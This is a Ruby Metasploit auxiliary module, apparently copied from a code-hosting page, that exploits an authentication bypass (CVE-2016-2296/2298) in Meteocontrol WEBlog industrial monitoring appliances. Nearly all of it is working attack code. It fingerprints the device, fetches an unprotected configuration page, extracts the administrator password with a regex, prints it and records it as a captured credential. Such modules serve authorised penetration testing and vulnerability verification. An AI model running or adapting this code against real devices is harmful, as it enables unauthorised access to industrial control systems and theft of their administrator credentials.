137 lines
4.2 KiB
Ruby
137 lines
4.2 KiB
Ruby
##
|
|
# This module requires Metasploit: http://metasploit.com/download
|
|
# Current source: https://github.com/rapid7/metasploit-framework
|
|
##
|
|
|
|
require 'msf/core'
|
|
|
|
class MetasploitModule < Msf::Auxiliary
|
|
|
|
include Msf::Exploit::Remote::HttpClient
|
|
include Msf::Auxiliary::Report
|
|
include Msf::Auxiliary::Scanner
|
|
|
|
def initialize(info={})
|
|
super(update_info(info,
|
|
'Name' => 'Meteocontrol WEBlog Password Extractor',
|
|
'Description' => %{
|
|
This module exploits an authentication bypass vulnerability in Meteocontrol WEBLog appliances (software version < May 2016 release) to extract Administrator password for the device management portal.
|
|
},
|
|
'References' =>
|
|
[
|
|
['URL', 'https://ics-cert.us-cert.gov/advisories/ICSA-16-133-01'],
|
|
['CVE', '2016-2296'],
|
|
['CVE', '2016-2298']
|
|
],
|
|
'Author' =>
|
|
[
|
|
'Karn Ganeshen <KarnGaneshen[at]gmail.com>'
|
|
],
|
|
'License' => MSF_LICENSE))
|
|
|
|
register_options(
|
|
[
|
|
Opt::RPORT(8080) # Application may run on a different port too. Change port accordingly.
|
|
], self.class
|
|
)
|
|
end
|
|
|
|
def run_host(ip)
|
|
unless is_app_metweblog?
|
|
return
|
|
end
|
|
|
|
do_extract
|
|
end
|
|
|
|
#
|
|
# Check if App is Meteocontrol WEBlog
|
|
#
|
|
|
|
def is_app_metweblog?
|
|
begin
|
|
res = send_request_cgi({
|
|
'uri' => '/html/en/index.html',
|
|
'method' => 'GET'
|
|
})
|
|
|
|
rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout, ::Rex::ConnectionError
|
|
print_error("#{rhost}:#{rport} - HTTP Connection Failed...")
|
|
return false
|
|
end
|
|
|
|
if (res && res.code == 200 && (res.headers['Server'] && res.headers['Server'].include?('IS2 Web Server') || res.body.include?("WEB'log")))
|
|
print_good("#{rhost}:#{rport} - Running Meteocontrol WEBlog management portal...")
|
|
return true
|
|
else
|
|
print_error("#{rhost}:#{rport} - Application does not appear to be Meteocontrol WEBlog. Module will not continue.")
|
|
return false
|
|
end
|
|
end
|
|
|
|
#
|
|
# Extract Administrator Password
|
|
#
|
|
|
|
def do_extract()
|
|
print_status("#{rhost}:#{rport} - Attempting to extract Administrator password...")
|
|
begin
|
|
res = send_request_cgi({
|
|
'uri' => '/html/en/confAccessProt.html',
|
|
'method' => 'GET'
|
|
})
|
|
|
|
rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout, ::Rex::ConnectionError, ::Errno::EPIPE
|
|
print_error("#{rhost}:#{rport} - HTTP Connection Failed...")
|
|
return
|
|
end
|
|
|
|
if (res && res.code == 200 && (res.body.include?('szWebAdminPassword') || res.body=~ /Admin Monitoring/))
|
|
get_admin_password = res.body.match(/name="szWebAdminPassword" value="(.*?)"/)
|
|
if get_admin_password[1]
|
|
admin_password = get_admin_password[1]
|
|
print_good("#{rhost}:#{rport} - Password is #{admin_password}")
|
|
report_cred(
|
|
ip: rhost,
|
|
port: rport,
|
|
service_name: 'Meteocontrol WEBlog Management Portal',
|
|
password: admin_password,
|
|
proof: res.body
|
|
)
|
|
else
|
|
# In some models, 'Website password' page is renamed or not present. Therefore, password can not be extracted. Check login manually on http://IP:port/html/en/confAccessProt.html for the szWebAdminPassword field's value.
|
|
print_error("Check login manually on http://#{rhost}:#{rport}/html/en/confAccessProt.html for the 'szWebAdminPassword' field's value.")
|
|
end
|
|
else
|
|
print_error("Check login manually on http://#{rhost}:#{rport}/html/en/confAccessProt.html for the 'szWebAdminPassword' field's value.")
|
|
end
|
|
end
|
|
|
|
def report_cred(opts)
|
|
service_data = {
|
|
address: opts[:ip],
|
|
port: opts[:port],
|
|
service_name: opts[:service_name],
|
|
protocol: 'tcp',
|
|
workspace_id: myworkspace_id
|
|
}
|
|
|
|
credential_data = {
|
|
origin_type: :service,
|
|
module_fullname: fullname,
|
|
username: opts[:user],
|
|
private_data: opts[:password],
|
|
private_type: :password
|
|
}.merge(service_data)
|
|
|
|
login_data = {
|
|
last_attempted_at: Time.now,
|
|
core: create_credential(credential_data),
|
|
status: Metasploit::Model::Login::Status::SUCCESSFUL,
|
|
proof: opts[:proof]
|
|
}.merge(service_data)
|
|
|
|
create_credential_login(login_data)
|
|
end
|
|
end
|